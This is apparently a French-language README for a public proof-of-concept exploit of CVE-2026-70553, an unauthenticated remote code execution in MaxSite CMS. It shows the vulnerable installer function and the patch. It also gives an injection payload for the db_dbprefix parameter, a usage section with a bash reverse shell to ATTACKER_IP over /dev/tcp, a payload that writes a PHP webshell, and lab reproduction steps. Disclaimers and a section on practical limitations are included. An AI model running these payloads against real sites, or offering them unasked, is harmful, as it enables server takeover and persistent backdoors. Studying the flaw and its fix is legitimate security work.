
Preuve de concept d'exploit pour CVE-2026-70553, permettant une RCE non authentifiée dans MaxSite CMS via une injection PHP persistante dans database.php à travers l'endpoint d'installation.
Preuve de concept pour CVE-2026-70553 : exécution de code à distance non authentifiée dans MaxSite CMS via une injection persistante de code PHP dans database.php par le biais du point de terminaison d'installation.
Cette PoC est uniquement destinée à des fins de recherche en sécurité éducatives et autorisées. L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage causé par ce code. Testez uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite.
Les versions 105.2 à 109.5 de MaxSite CMS contiennent une vulnérabilité critique d'exécution de code à distance non authentifiée dans le point de terminaison d'installation. Le paramètre db_dbprefix est directement concaténé dans du code PHP sans assainissement, ce qui permet à un attaquant d'injecter des instructions PHP arbitraires dans . Comme ce fichier est inclus à chaque requête, le code injecté permet une RCE persistante.
application/config/database.phpDans install/installer/functions.php, la fonction newDatabase() construit le contenu de database.php :
function newDatabase($PV)
{
if (file_exists(MSODIR . 'application/config/database.php-distr')) {
$file = file_get_contents(MSODIR . 'application/config/database.php-distr');
// ... other replacements ...
// VULNERABLE LINE: No sanitization of $PV['db_dbprefix']
$file = str_replace('$db[\'default\'][\'dbprefix\'] = \'mso_\';',
'$db[\'default\'][\'dbprefix\'] = \'' . $PV['db_dbprefix'] . '\';',
$file);
file_put_contents(MSODIR . 'application/config/database.php', $file);
return false;
}
// ...
}
En injectant une charge utile comme :
db_dbprefix=mso_'; system('id'); //
Le database.php généré devient :
$db['default']['dbprefix'] = 'mso_'; system('id'); //';
Cela permet de sortir de la chaîne littérale et d'injecter du code PHP arbitraire.
Le correctif ajoute une vérification pour empêcher la réinstallation :
if (file_exists(MSODIR . 'application/config/database.php-distr')
and
!file_exists(MSODIR . 'application/config/database.php')) // NEW CHECK
{
// ... create database.php only if it doesn't exist
}
git clone https://github.com/woshidashabi1126/CVE-2026-70553-PoC.git
cd CVE-2026-70553-PoC
pip3 install requests
# Check if target has accessible install endpoint
python3 exploit.py http://target.com --check-only
# Exploit with default payload (creates poc_test.txt)
python3 exploit.py http://target.com
# Custom payload: reverse shell
python3 exploit.py http://target.com \
--cmd 'system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1\"");'
# Custom payload: write webshell
python3 exploit.py http://target.com \
--cmd 'file_put_contents("shell.php", "<?php system(\$_GET[0]); ?>");'
--cmd PHP code to inject (default: file write test)
--check-only Only check if install endpoint is accessible
--db-host Database hostname (default: localhost)
--db-user Database username (default: test)
--db-pass Database password (default: test)
--db-name Database name (default: test)
CRITIQUE : Cette vulnérabilité présente de sérieuses limitations pratiques dans des scénarios réels.
/install/ non supprimé)newDatabase() n'est appelée que si les tables n'existent pasinstall/installer/post.php via checkTableExists()newDatabase() n'est jamais appelée/install/ est accessible, le chemin de code menant à l'injection est bloqué par la vérification de l'existence des tablesPour vérifier cette vulnérabilité dans un environnement contrôlé :
# 1. Download vulnerable version
wget https://github.com/maxsite/cms/archive/refs/tags/109.5.zip
unzip 109.5.zip && cd cms-109.5
# 2. Start PHP built-in server
php -S 127.0.0.1:8000
# 3. In another terminal, run exploit
python3 exploit.py http://127.0.0.1:8000
# Check if database.php was modified
cat application/config/database.php | grep dbprefix
# Should see injected code:
# $db['default']['dbprefix'] = 'mso_'; file_put_contents(...); //';
# Trigger execution
curl http://127.0.0.1:8000/
# Verify test file created
curl http://127.0.0.1:8000/poc_test.txt
Ce projet est publié sous la licence MIT. Voir LICENSE pour plus de détails.
Rappel : Pratiquez toujours la divulgation responsable et obtenez une autorisation appropriée avant de tester.